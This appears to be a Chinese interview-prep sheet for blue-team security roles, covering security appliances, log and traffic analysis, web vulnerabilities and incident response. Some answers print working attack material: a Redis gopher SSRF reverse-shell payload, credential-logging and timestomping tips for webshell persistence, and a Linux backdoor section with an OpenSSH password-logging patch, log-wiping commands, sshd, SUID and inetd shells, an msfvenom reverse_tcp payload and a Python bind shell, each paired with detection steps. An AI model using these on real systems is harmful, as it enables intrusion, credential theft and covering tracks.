Skip to content

一、经验面试题型

1.之前有没有参加过HW?​ 2.在日常中有没有参加过攻防演练​项目/比赛/挖洞,经历? 3.目前市面上的常见安全监测设备你都熟悉哪些​?对于安全设备的运用以及监测能力达到​哪一步?

二、技术面试题型

安全设备能力

1.HW中常见的安全设备有哪些?

入侵检测:IDS

入侵防御:IPS

流量威胁检测设备:腾讯御界、奇安信天眼、绿盟、深信服等等

流量监测:科来

应用防火墙(WAF):绿盟WAF、腾讯云WAF、深信服WAF、阿里云WAF等等

蜜罐:默安幻阵、知道创宇蜜罐等等

防火墙:防火墙(玄武盾)、山石防火墙、360网康/网神防火墙

态势感知:绿盟态势感知、奇安信态势感知(目前部分金融客户对攻击IP封禁在态势感知系统上统一做封禁处理)

SOC:绿盟、奇安信

2.聊一聊你熟悉的安全设备?

深信服 防火墙:AF 终端安全:EDR 态势感知:SIP 访问安全:深信服SSL VPN

长亭 防火墙:雷池(SafeLine) 安全评估系统:洞鉴(X-Ray) 态势感知:万象(COSMOS) 伪装欺骗系统:谛听(D-Sensor)

绿盟 IPS:NIPS IDS:NIDS 态势感知:ISOP-NDR 访问安全:绿盟VPN

启明星辰 防火墙:天清汉马 IPS:天清IPS IDS:天阗IDS 态势感知:启明星辰态势感知 访问安全:天清汉马VPN

天融信 防火墙:天融信NGFW 入侵检测和防御系统:TopSentry 态势感知:天融信态势感知系统 访问安全:天融信VPN系统

奇安信 防火墙:网神防火墙 IPS:奇安信入侵检测系统 IDS:奇安信入侵检测系统 终端安全:天擎 态势感知:天眼 访问安全:奇安信VPN

网御星云 防火墙:网御防火墙 IPS:LeadsecIPS IDS:LeadsecIDS 态势感知:Leadsec-CSA 访问安全:网御星云SSL VPN

山石网科 防火墙:iNGFW 入侵检测和防御系统:IDPS

安恒 防火墙:玄武盾 入侵检测和防御系统:明御 态势感知:AiLPHA

亚信 防火墙:信舷(AISWAF) IPS:AISTPS 态势感知:信舵(MAXS)

铱迅 防火墙:YXLink WAF IPS:YXLink IPS 情报系统:YXLink NIS 态势感知:YXLink SSOC

3.态势感知设备你了解哪些?

态势感知、soc产品的功能

全流量收集、大数据分析、访问日志展示、攻击日志展示告警、资产管理、大屏展示、脆弱性识别-弱口令-数据传输未加密-漏洞、受害主机攻击汇总、内网横向攻击分析、报表功能

EDR是什么?举例,作用?

终端检测与响应

360天擎、深信服EDR、亚信EDR

通过云端的威胁情报、机器学习、异常行为分析等,主动发现安全威胁,自动化阻止攻击。

4.防火墙设备你了解哪些?

5.流量监测设备是哪些?

6.蜜罐是用来干嘛的?

蜜罐可以和入侵检测IDS一起工作,与 IDS相比,蜜罐的误报率较低。这是因为蜜罐既不提供任何网络服务,也没有任何合法用户,但并不是网络上的空闲设备。因此,任何流入或者流出蜜罐的网络通信都可以是做可疑的,是网络正在被攻击的一种标志。

容忍入侵者攻击自身,在被攻击的过程中记录收集入侵者的攻击工具、手段、动机、目的等行为信息。

主要还是基于特征库匹配,0day防御不了

7.HW中如果蜜罐被打了应该怎么办?

一般蜜罐被打了大概率能获取到攻击者社交账户ID,可以根据指纹信息还原攻击者的身份画像。最不济也能知道攻击者的攻击方式等一些攻击信息,可以继续尝试溯源。

8.IDS和IPS有什么区别,它们分别可以起到哪种防护作用?

入侵检测:IDS,类似防火墙,主要用于入网流量检测

入侵防御:IPS,对杀软和防火墙的补充,阻止病毒攻击以及点到点应用滥用

区别:1.IPS位于防火墙和网络设备之间,如果检测到威胁,IPS会在攻击扩散到网络其他地方之前阻断恶意通信,而IDS存在于网络之外起到报警的作用。

2.IPS具有检测已知和未知攻击并具有防止攻击能力,IDS没有。

3.IDS基于数据包嗅探技术,只能看着网络信息流过,不能反击网络攻击。IPS可执行IDS相同的分析并阻止恶意活动。

9.WAF分别有哪些产品种类?WAF有哪些常见的防护作用?

主要是通过规则阻断恶意访问请求

10.WAF和防火墙有什么区别?

11.根据安全设备的告警,如何快速有效的进行排查分析?

通过特征规则将无效告警、误报告警过滤掉,剩下的就是「待分析告警」。从「待分析告警」中提取攻击特征,通过「攻击特征规则库」进行匹配,看能否获取到「情报线索」。

12.如何处理HW期间安全设备产生大量的误报告警?

如果是某个正常用户的正常业务产生误报就加白,如果是告警规则导致的考虑放掉,改规则

流量分析能力

1.流量监测设备是哪些?

2.常见的webshell管理工具的流量特征?例如菜刀、蚁剑、冰蝎、哥斯拉等

3.会使用wireshark吗?

4.说说你了解的wireshark简单过滤规则有哪些?

ip.src eq,ip.dst eq,ip.addr eq

http ,tcp ,udp.....

tcp.port ==

tcp.len==,ip.len==

http.request.method== ,http.contains""

.........

5.PCAP是什么文件?使用什么工具进行分析? 6.在流量分析时,如何取判断是否为误报告警?

web服务能力

1.常见的web服务器有哪些?

Apache、Nginx、IIS、Tomcat........

2.常见的web服务端口有哪些?

21端口:FTP 文件传输服务
22端口:SSH协议、SCP(文件传输)、端口号重定向
23/tcp端口:TELNET 终端仿真服务
25端口:SMTP 简单邮件传输服务
53端口:DNS 域名解析服务
69/udp:TFTP
80/8080/3128/8081/9098端口:HTTP协议代理服务器
110/tcp端口:POP3(E-mail)
119端口:Network 
123端口:NTP(网络时间协议)
135、137、138、139端口: 局域网相关默认端口,应关闭
161端口:SNMP(简单网络管理协议)
389端口:LDAP(轻量级目录访问协议)、ILS(定位服务)
443/tcp 443/udp:HTTPS服务器
465端口:SMTP(简单邮件传输协议)
873端口:rsync
1080端口:SOCKS代理协议服务器常用端口号、QQ
1158端口:ORACLE EMCTL
1433/tcp/udp端口:MS SQL*SERVER数据库server、MS SQL*SERVER数据库monitor
1521端口:Oracle 数据库
2100端口:Oracle XDB FTP服务
3389端口:WIN2003远程登录
3306端口:MYSQL数据库端口
5432端口:postgresql数据库端口
5601端口:kibana
6379端口:Redis数据库端口
8080端口:TCP服务端默认端口、JBOSS、TOMCAT、Oracle XDB(XML 数据库)
8081端口:Symantec AV/Filter for MSE
8888端口:Nginx服务器的端口
9000端口:php-fpm
9080端口:Webshpere应用程序
9090端口:webshpere管理工具
9200端口:Elasticsearch服务器端口
10050端口:zabbix_server 10050
10051端口:zabbix_agent
11211端口:memcache(高速缓存系统)
27017端口:mongoDB数据库默认端口
22122端口:fastdfs服务器默认端口

3.常见的一些危险端口所涉及的服务有哪些?这些端口一般入侵的方式是哪些?

日志分析能力

1.常用的日志分析工具有哪些?

loger、logviewer

2.windows日志可使用哪些工具进行分析?

https://www.jianshu.com/p/728f503a2398

3.中间件日志可使用哪些工具进行分析?

不知道,自己开日志文件审

4.你最常用的日志分析工具是哪些?

上面的

5.windows日志常见事件ID你了解哪些?

6.登录事件类型有哪些?

成功登录:用户凭正确的凭证成功访问系统。 失败登录尝试:用户输入错误的凭证,未能成功登录。 多次失败登录尝试:连续多次输入错误的凭证,通常会触发安全警报或账户锁定机制。 密码重置:用户请求重置密码,这可能涉及通过电子邮件或手机验证码进行验证。 双因素认证(2FA)登录:用户在输入密码后,还需通过额外的验证方式(如短信验证码、Authenticator应用程序)完成登录。 账户锁定:由于多次失败的登录尝试或其他安全原因,账户被暂时锁定。 账户解锁:用户或管理员解锁被锁定的账户。 自动登录:使用保存的凭证或第三方认证服务(如OAuth)进行自动登录。 登录会话超时:用户长时间未进行操作,系统自动退出登录状态。 强制注销:管理员或系统策略强制用户下线。 IP地址变更登录:用户从不同的IP地址或地理位置登录,可能触发安全警报。

7.Linux日志一般存放位置在哪?

/var/log

8.Linux常见的日志分类有哪些?

/var/log/secure:记录用户登录认证情况,看这个大多是看登录失败记录

/var/log/audit:查看文件权限,记录用户指令,监控网络访问........

/var/log/btmp:记录登录失败的用户信息、时间、远程ip,lastb查看内容

/var/log/lastlog:最后一次登录时间、ip,lastb查看,根据UID排序

xxx.xxx.xxxx.com/home/admin/error.log:错误日志

xxx.xxx.xxxx.com/home/admin/access.log:访问日志,看访问文件确定webshell之类的

9.Linux日志优先级是?

数字越小,级别越高

0 EMERG(紧急) 导致主机系统不可用的情况

1 ALERT(警告) 必须马上采取解决措施

2 CRIT 严重 比较严重的情况

3 ERR 错误 运行出现错误

4 WARNING 提醒 提醒用户的重要事件

5 NOTICE 注意 不会儿影响系统,提醒用户

6 INFO 信息 一般信息

7 DEBUG 调式 程序调式

8 None 没有 不做记录

10.如何快速分析服务日志中含有的攻击手法?

分析方法:

1.特征字符分析(Signature-based):

​ 在日志中查找已知的漏洞特征,去发现黑客攻击行为, 是最简单的方法。

2.访问频率分析(Frequency analysis)

​ 在黑客攻击过程中,需要对系统进行各种特定的访问,这些访问与正常用户访问有很大差别, 每种攻击行为都有不同的特征。

​ 通过对大量用户访问数据的挖掘,可以发现这些异常访问行为。

1.漏洞扫描检测:

黑客使用漏洞扫描器对 Web 应用进行扫描,可以用匹配 User-Agent 特征的方式进行检测。如果自定义扫描器的 User-Agent,这个方法的效果可能会不好。

但可匹配扫描器扫描的行为,

​ · 访问目标离散

​ · 来源地址相对固定

​ · 访问结果大多数失败

​ 根据这些特征对 Web 访问日志进行分析,即可提取出来可疑的扫描行为。

2.暴力破解检测:

​ 暴力破解密码的特征是

​ · 相对固定的来源地址

​ · 对登录URL短时间内高频率发起请求

​ 与漏洞扫描的区别主要是目标 URL 固定。

3.webshell 检测

​ 如果黑客发现系统漏洞,并且利用漏洞获得上传权限,会向系统 上传 webshell。

​ webshell 是一种后门程序,此程序由脚本语言编写, 可以在 Web 服务器上运行,攻击者可以通过网页执行系统命令,读写 系统文件。

从访问行为的角度看,webshell 通常

​ · 只有攻击者访问

​ · 来源地址相对固定

​ · 访问时间相对集中

​ · 无内嵌其他页面

​ 通过这些特 征即可提取出可疑文件,再通过人工确认的方式,检测出 webshell。

11.一些常见的攻击手法在日志中的体现是怎么样的?

大量404,user-agent,比如之前某比赛中出现的Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)可以看它的ua根本不是正常机器

可能会有具有某些攻击特征的payload,比如sql注入构造参数的payload,上传的POST /upload什么的

12.日志排查过程发现某阶段日志被清理了该怎么办?(整个日志被删了)

1、通过ps命令找到进程的pid

2、去/proc目录下,找到进程打开的文件。ls -l /proc/${pid}/fd

3、/proc/${pid}/fd目录下找到丢失的文件(这时候应该也能看到被删的那部分)进行紧急修复

可以用tail或者head查看

13.日志分析过程需要分析哪些日志?

14.中间件日志有哪些常见的?

1.apache+Linux日志默认路径:/etc/httpd/logs/accesslog或/var/log/httpd/accesslog

2.apache+win2003日志默认路径:D:\xampp\apache\logs\access.log、D:\xampp\apache\logs\error.log

3.IIS6.0+win2003默认日志文件:C:\WINDOWS\system32\Logfiles

4.IIS7.0+win2003 默认日志文件:%SystemDrive%\inetpub\logs\LogFiles

5.nginx 日志文件:日志文件在用户安装目录logs目录下,假设安装路径为/usr/local/nginx,那日志目录就是在/usr/local/nginx/logs下面

web安全渗透技术能力

1.HW前期的资产梳理如何进行?

2.文件上传白名单怎么绕过?

%00,0x00,图片马,二次渲染,条件竞争

3.ssrf,有几种利用协议?如何进行绕过?

SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

例:http://target/ssrf.php?url=xxx可以构造成http://target/ssrf.php?url=file:///etc/passwd

file:有回显,读取任意内容,一般用于读取敏感文件

dict:泄露安装软件版本信息,找端口,操作redis(获取redis配置信息dict://127.0.0.1:6379/info)

gopher:支持发POST、GET,反弹shell(http://target/ssrf.php?url=gopher://127.0.0.1:6379/_*1 %0d %0a $8%0d %0aflushall %0d %0a3 %0d %0a $3%0d %0aset %0d %0a $1%0d %0a1 %0d %0a $64%0d %0a %0d %0a %0a %0a/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 %0a %0a %0a %0a %0a %0d %0a %0d %0a %0d %0a4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $3%0d %0adir %0d %0a $16%0d %0a/var/spool/cron/ %0d %0a4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $10%0d %0adbfilename %0d %0a $4%0d %0aroot %0d %0a*1 %0d %0a $4%0d %0asave %0d %0aquit %0d %0a)

http/s:探测内网主机存活,探测一些banner信息(?url=http://192.168.1.123:3306)

绕过:

1.“@”符号绕过

http://www.baidu.com@10.10.10.10与http://10.10.10.10请求是相同的。

该请求得到的内容都是10.10.10.10的内容,此绕过同样在URL跳转绕过中适用。

利用的原理:解析URL时的规则问题。

2.点分割符号替换(钓鱼邮件常用于绕过检测)

在浏览器中可以使用不同的分割符号来代替域名中的.分割,可以使用。、。、.来代替:

http://www。qq。com

http://www。qq。com

http://www.qq.com

3.本地回环地址的其他表现形式

127.0.0.1,通常被称为本地回环地址(Loopback Address),指本机的虚拟接口,一些表示方法如下(ipv6的地址使用http访问需要加[]):

http://127.0.0.1http://localhosthttp://127.255.255.254 127.0.0.1 - 127.255.255.254 http://[::1] http://[::ffff:7f00:1] http://[::ffff:127.0.0.1] http://127.1http://127.0.1http://0:80

4.IP的进制转换(钓鱼邮件常用于绕过检测)

IP地址是一个32位的二进制数,通常被分割为4个8位二进制数。通常用“点分十进制”表示成(a.b.c.d)的形式,所以IP地址的每一段可以用其他进制来转换。使用如win系统自带的计算机(程序员模式)就可简单实现IP地址的进制转换。

由于一些系统会直接提取邮件中内嵌的链接进行检测,而一种此类URL混淆技术采用了URL主机名部分中使用的编码十六进制IP地址格式来逃避检测。

由于IP地址可以用多种格式表示,因此可以在URL中如下所示使用:

5.利用短网址

网上有很多将网址转换为短网址(短链接)的工具网站,黑客会利用短网址来绕过情报检测。

4.条件竞争漏洞原理?

多个线程同时访问一个没加锁的(数据库执行事务前BEGIN,后COMMIT)共享代码、变量,使事务并发执行:负数购买、文件上传

5.fastjson漏洞原理,不同版本下利用方式有何区别?无回限怎么判断是否有fastjson漏洞?

6.redis未授权访问如何写shell?利用条件是什么?

redis -cli -h ip连进去以后,新建路径里写shell,shell前后多加几个\r\n(换行,有版本信息),用现成的python脚本运行远程命令

7.常见的未授权漏洞你了解哪些?

redis,weblogic,jboss

8.常见的逻辑漏洞你了解哪些?

9.sqlmap获取权限的条件有哪些?

10.spring-cloud-getway,spring-cloud function漏洞原理?

12.log4j漏洞原理,如何绕过?

13.如何利用防注入系统进行拿shell?

14.php中的魔术方法是哪个函数?

15.Orale注入如何提权?

16.SQL注入防护方法有哪些?

17.SQL注入写文件函数有哪些?

18.mysql5.1以下与5.1以上的版本有什么区别?

19.TP系列漏洞原理?

20.sqlserver如何获取shell?

21.xss有哪几种类型?与csrf如何配合利用?

22.引发SSRF漏洞的PHP函数有哪些?

23.服务器解析漏洞有哪些?

24.PHP语言中常见的文件包含函数有哪些?

25.weblogic反序列化漏洞原理?

26.PHP序列化和反序列化的函数有哪些?魔术方法有哪些?

27.Xpath注入与SSTI注入原理?

28.最近爆出的1day和0day漏洞是否有研究?

29.spring rce漏洞原理?

30.owasp漏洞都有哪些?

31.代码执行、文件读取、命令执行漏洞函数都有哪些?

32.MySQL两种提权方式是哪些?

33.拿到webshell后如何维权

1.后台维权可以在源码里插一段记录登录者账号密码权限以及是否登录成功的前端代码,把上述信息记录到一个比较偏僻的路径里或者直接发到自己网站,也可以获取cookie

2.webshell初次上传的路径一般都是保存图片这些类型的文件夹,出现一个php或者asp这种后缀很容易被发现,一般要在其他可写的文件夹下写shell,并修改shell修改日期

find -name "*.php" -type f -mtime -3 -exec ls -l {} \;
# find 命令用于在文件系统中查找文件和目录。
  -name "*.php" 表示只查找文件名以 .php 结尾的文件。
  -type f 表示只查找普通文件,而不是目录或其他类型的文件。
  -mtime -3 表示只查找最近 3 天内修改过的文件。如果使用 +3,则表示查找 3 天前修改过的文件。
  -exec ls -l {} \; 表示对找到的每个文件执行 ls -l 命令来列出文件的详细信息。{} 表示找到的文件名,\; 表示命令结束。
touch -d '08-August-2019' rrr.php      #修改文件最后修改日期

3.写不死马,写其他后门文件,图片马结合文件包含脚本

4.拿到webshell后把洞给补上

应急响应能力

1.分别简单说说windows与linux应急响应基本流程是?

2.windows隐藏账号,在注册表的哪个键值?

HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers

3.windows常见后门,linux常见后门有哪些?

1. 预加载型动态链接库后门

linux操作系统的动态链接库在加载过程中,动态链接器会先读取LD_PRELOAD环境变量和默认配置文件/etc/ld.so.preload,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,因为它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。这就是为什么在watchdogs挖矿木马中使用top、ps等命令无法发现挖矿进程的原因,这种后门推荐使用静态编译的ls、ps等命令或者busybox进行查找。

利用LD_PRELOAD

检测

echo $LD_PRELOAD
#默认无输出,如果有输出就需要去看下文件是否为异常文件了

清除

unset LD_PRELOAD
#使用命令unset LD_PRELOAD即可卸载使用LD_PRELOAD环境变量安装的恶意动态链接库
利用/etc/ld.so.preload

检测

bash
1、文件完整性检测
修改了默认的动态链接库后文件完整性发生变化,可以使用rpm等来校验
首先获取系统中的动态链接器的文件路径(interp段指定了动态链接器的位置)
readelf -a /bin/ps | grep interpreter
然后判断该动态链接器文件的完整性
busybox ls -al /usr/local/lib/libioset.so
rpm -Vf /usr/local/lib/libioset.so
2、使用strace
strace可以跟踪一个进程执行时所产生的系统调用,包括参数,返回值,执行消耗的时间和所接收的信号
strace -f -e trace=file /bin/ps
-f 表示同时跟踪fork和vfork出来的进程
-e trace=file 表示只跟踪有关文件操作的系统调用

清除调用的对应恶意文件即可

2. strace后门

上面提到使用strace检测预加载型动态链接库后门,它可以跟踪任何进程的系统调用和数据,所以strace同样可以作为后门,比如用来记录ssh,su,sudo的数据。

首先找到sshd的进程PID

ps -ef | grep sshd #父进程PID

然后写入文件

bash
strace -f -p 2908 -o /tmp/.ssh.log -e trace=read,write -s 2048

同样的,可以通过配置用户目录下.login配置获取ssh明文密码

bash
#vim /etc/bashrc
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
#su,sudo同样的道理

检测

bash
查看shell的配置文件或者alias命令即可发现,例如~/.bashrc或~/.zshrc文件查看是否有恶意的alias
3. SSH 后门
OpenSSH后门

通过在openssh源码中插入恶意代码并进行重新编译来替换原有sshd文件。插入的恶意代码可以是将登录成功的用户密码发送到远程服务器或者记录到某个log文件中。在openssh目录中找到includes.h文件。

bash
#vim includes.h
int secret_ok;
FILE *f;
#define ILOG "/tmp/.ilog"       #记录登录到本机的用户名和密码
#define OLOG "/tmp/.olog"       #记录本机登录到远程的用户名和密码
#define SECRETPW "secpulse.com" #为自己的登录密码
#endif /* INCLUDES_H */
#编译,重启服务
yum install -y openssl openssl-devel pam-devel zlib zlib-devel
./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5
make clean
make && make install
systemctl restart sshd.service

PS: 如果记录日志放在web下,记得清理掉访问日志。

bash
export HISTFILE=/dev/null
export HISTFILESIZE=0
sed -i '/192.168.2.11/d' /etc/httpd/logs/access_log*
sed -i '/192.168.2.11/d' /root/.bash_history
echo > /root/.bash_history

检测

bash
1、查看Openssh版本
ssh -V
2、查看ssh配置文件和/usr/sbin/sshd的时间
stat /usr/sbin/sshd
#时间和版本都是可以修改的,所以不靠谱
3、查看日志
more /var/log/secure | grep "Accepted" | awk '{print $11}' | uniq
4、通过strace监控sshd进程读写文件的操作
ps axu | grep sshd | grep -v grep #sshd父进程ID
strace -o sshd -ff -p 2908
grep open sshd* | grep -v -e No -e null -e denied| grep WR
5、一般的openssh后门都会将账户密码记录到文件或者发送到邮箱中
strings /usr/sbin/sshd |grep '[1-9]{1,3}.[1-9]{1,3}.'
strings /usr/sbin/sshd |grep '@'

清除

bash
重装或者更新到最新版本
修改文件并重新编译
sshd软链接后门

在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0即root权限即可成功认证登陆。通过软连接的方式,实质上PAM认证是通过软连接的文件名(如: /tmp/su,/home/su)在/etc/pam.d/目录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可SSH任意密码登陆,除了su中之外还有chsh、chfn同样可以。

1、服务端执行

bash
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345
ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oport=12345
ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oport=12345

2、客户端执行

bash
ssh root@x.x.x.x -p 12345
#输入任意密码就可以root用户权限登陆了,如果root用户被禁止登陆时,可以利用其他存在的用户身份登陆,比如:ubuntu

检测

bash
1、查看可疑端口
netstat -antlp
2、查看可执行文件
ls -al /tmp/su

清除

bash
1、禁止PAM认证
vim /etc/ssh/sshd_config
UsePAM no
2、重载
/etc/init.d/sshd reload
wrapper后门

首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。

简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。

bash
#服务端执行:
cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' > sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..LF/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
#客户端执行:
socat STDIO TCP4:192.168.2.11:22,souceport=19526
#其中x00x00LF是19526的大端形式,便于传输和处理。如果你想修改源端口,可以用python的struct标准库实现
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A

检测

bash
检查网络链接情况及文件
cat /usr/sbin/sshd

清除

bash
rm -rf /usr/sbin/sshd; mv /usr/bin/sshd ../sbin;
4. SUID后门

当一个文件所属主的x标志位s(set uid简称suid)时,且所属主为root时,当执行该文件时,其实是以root身份执行的。必要条件:

bash
1、SUID权限仅对二进制程序有效。 
2、执行者对于该程序需要具有x的可执行权限
3、本权限仅在执行该程序的过程中有效  
4、在执行过程中执行者将具有该程序拥有者的权限

可以利用webshell进行利用

bash
#vim suid.c
#include<stdlib.h>
main () {
setuid(0);
system("/bin/bash");
}
编译成二进制文件
gcc suid.c -o suidshell
赋予suid权限
chmod 4755 suidshell
chmod u+s suidshell
假设webshell权限较低,希望使用suid shell执行root命令,通过web的方式调用
http://localhost/suid.php?path=/tmp/suidshell&cmd=id
即可以root的权限执行命令id

检测

bash
查找具有suid权限的文件即可
find / -perm +4000 -ls
find / -perm -u=s -type f 2>/dev/null

清除

bash
清除文件即可
5. inetd服务后门

inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,其实有很多比较古老的服务都是基于此守护进程的。当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理。所以,如果我们已经在目标系统的inetd配置文件中配置好,那么来自外部的某个socket是要执行一个可交互的shell,就获取了一个后门。

bash
#修改/etc/inetd.conf
#discard stream tcp nowait root internal 
#discard dgram udp wait root internal 
daytime stream tcp nowait root /bin/bash bash -i
开启inetd:
inetd
#nc连接
nc -vv 192.168.2.11 13
#可以配合suid后门
#比如,修改/etc/services文件:
suidshell 6666/tcp
#然后修改/etc/inetd.conf
suidshell stream tcp nowait root /bin/bash bash -i
#可以修改成一些常见的端口,以实现隐藏

检测

bash
查看配置文件即可
/etc/inetd.conf

清除

bash
关闭服务
删除配置文件

6. 协议后门

在一些访问控制做的比较严格的环境中,由内到外的TCP流量会被阻断掉。但是对于UDP(DNS、ICMP)相关流量通常不会拦截。

ICMP

主要原理就是利用ICMP中可控的data字段进行数据传输,具体原理请参考: 小白必看!ICMP隐蔽隧道从入门到精通

开源工具:

ICMP后门项目地址https://github.com/andreafabrizi/prism

bash
#服务端
./sendPacket.py 192.168.0.1 p4ssw0rd 192.168.0.10 6666
#客户端
nc -l -p 6666
#其他模式详情请查看具体使用语法
DNS

在大多数的网络里环境中IPS/IDS或者硬件防火墙都不会监控和过滤DNS流量。主要原理就是将后门载荷隐藏在拥有PTR记录和A记录的DNS域中(也可以利用AAAA记录和IPv6地址传输后门),具体请参考:【技术分享】通过DNS传输后门来绕过杀软

开源工具:

DNS后门项目地址https://github.com/DamonMohammadbagher/NativePayload_DNS

bash
#创建msfvenom payload
msfvenom –-platform windows –arch x86_64 –p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.50 –f c > /root/dns/payload.txt
#内容格式如下:
1.1.1.0 "0xfc0x480x830xe40xf00xe80xcc0x000x000x000x410x510x410x500x52.1.com"
1.1.1.1 "0x510x560x480x310xd20x650x480x8b0x520x600x480x8b0x520x180x48.1.com"
1.1.1.2 "0x8b0x520x200x480x8b0x720x500x480x0f0xb70x4a0x4a0x4d0x310xc9.1.com"
#在系统中伪造DNS服务器
dnsspoof -i eth0 -f /root/dns/payload.txt
#客户端运行代码
syntax: NativePayload_DNS.exe "1.1.1." 34 "192.168.1.50"

协议后门检测

bash
对于DNS/ICMP这种协议后门,直接查看网络连接即可,因为在使用过程中会产生大量的网络连接

清除

bash
kill进程、删除文件即可
7. vim后门

适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统。

bash
cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

具体详情请参考:[Weapons of Text Destruction](https://github.com/jaredestroud/WOTD/blob/master/[DARK] Weapons of Text Destruction.pdf)

恶意脚本dir.py的内容可以是任何功能的后门,比如:

bash
#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
        server=socket(AF_INET,SOCK_STREAM)
        server.bind(('0.0.0.0',11))
        server.listen(5)
        print 'waiting for connect'
        talk, addr = server.accept()
        print 'connect from',addr
        proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
                stdout=talk, stderr=talk, shell=True)

检测

bash
由于是通过vim执行的,所以使用ps和netstat仍可以看到vim的相关进程
netstat -antlp | grep vim
more /proc/PID/cmdline
more /proc/PID/maps | grep python

清除

bash
#清除进程即可
netstat -antlp | awk '{print $7}' | grep vim | awk -F/ '{print $1}' | xargs kill -9
8. PAM后门

PAM使用配置 /etc/pam.d/下的文件来管理认证方式,应用程序调用相应的配置文件,以加载动态库的形式调用 /lib/security下的模块。PAM配置可分为四个参数: 模块类型、控制标记、模块路径、模块参数,例如: session required pam_selinux.so open

上面提到的sshd软链接后门利用的PAM机制达到任意密码登录,还有一种方式是键盘记录。原理主要是通过pam_unix_auth.c打补丁的方式潜入到正常的pam模块中,以此来记录管理员的帐号密码。

利用步骤:

复制patch到源代码目录 >>> 打patch >>> 编译 >>> 将生成的pam_uninx.so文件覆盖到/lib/secruity/pam_unix.so下 >>> 修改文件属性 >>> 建立密码保存文件,并设置好相关的权限 >>> 清理日志 >>> ok

bash
#确保ssh开启pam支持
vim /etc/ssh/sshd_config
UsePAM yes
#自动化脚本
https://github.com/litsand/shell/blob/master/pam.sh

检测

bash
1、通过Strace跟踪ssh
ps axu | grep sshd
strace -o aa -ff -p PID
grep open aa* | grep -v -e No -e null -e denied| grep WR
2、检查pam_unix.so的修改时间
stat /lib/security/pam_unix.so      #32位
stat /lib64/security/pam_unix.so    #64位

清除

bash
yum reinstall pam
9. 进程注入

从技术上说,获取其它的进程并修改它一般是通过操作系统提供的调试接口来实现的,在linux中具有调试功能的工具有ptrace、Gdb、radare2、strace等,这些工具都是使用ptrace这个系统调用来提供服务的。ptrace系统调用允许一个进程去调试另外一个进程。

具体原理参考:

linux进程注入

linux一种无文件后门技巧

GitHub存在大量开源工具,比如: linux-inject,主要原理是使用ptrace向进程中注入恶意so文件

bash
#./inject [-n process-name] [-p pid] [library-to-inject]
./inject -n sample-target sample-library.so

检测

bash
使用相关检测工具

清除

bash
kill或者重启对应的进程即可
10. Rootkit

rootkit分为内核级和应用级两种。(这方面不太了解,后续详细学习下,就不做详细介绍了...)

内核级的rootkit很多,比如:Diamorphine

应用级的rootkit也很多,比如:Mafix

Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。应用级rookit,主要替换ls、ps、netstat命令来隐藏文件(利用/proc?)

检测

bash
使用相关检测工具,比如:unhide

4.windows日志下的事件ID有哪些?

以下是将图片内容转换为表格后的结果:

系统(system)事件ID描述
1074查看计算机的开机、关机、重启的时间以及原因和注释。
6005表示日志服务已启动,用来判断正常开机进入系统。
6006表示日志服务已停止,用来判断系统关机。
6009表示非正常关机,按ctrl、alt、delete键关机。
41表示系统在未先正常关机的情况下重新启动。当出现意外断电关机,系统崩溃时,出现此事件ID。
4199当发生TCP/IP地址冲突的时候,出现此事件ID,用来排查用户IP网络的问题。
35, 36, 37记录时间客户端状态信息,35表示更改时间源,36表示时间同步失败,37表示时间同步正常。
134当出现时间同步源DNS解析失败时会出现此事件ID。
7045服务创建成功。
7030服务创建失败。
安全(Security)事件ID描述
4624表示成功登陆的用户,用来确定该系统的用户登陆成功情况。
4625表示登陆失败的用户,用来判断RDP爆破的情况。
4672表示授予了特殊权限。
4720, 4722, 4723, 4724, 4725, 4726, 4738, 4740事件ID表示当用户帐号发生创建、删除、改密码时的事件记录。
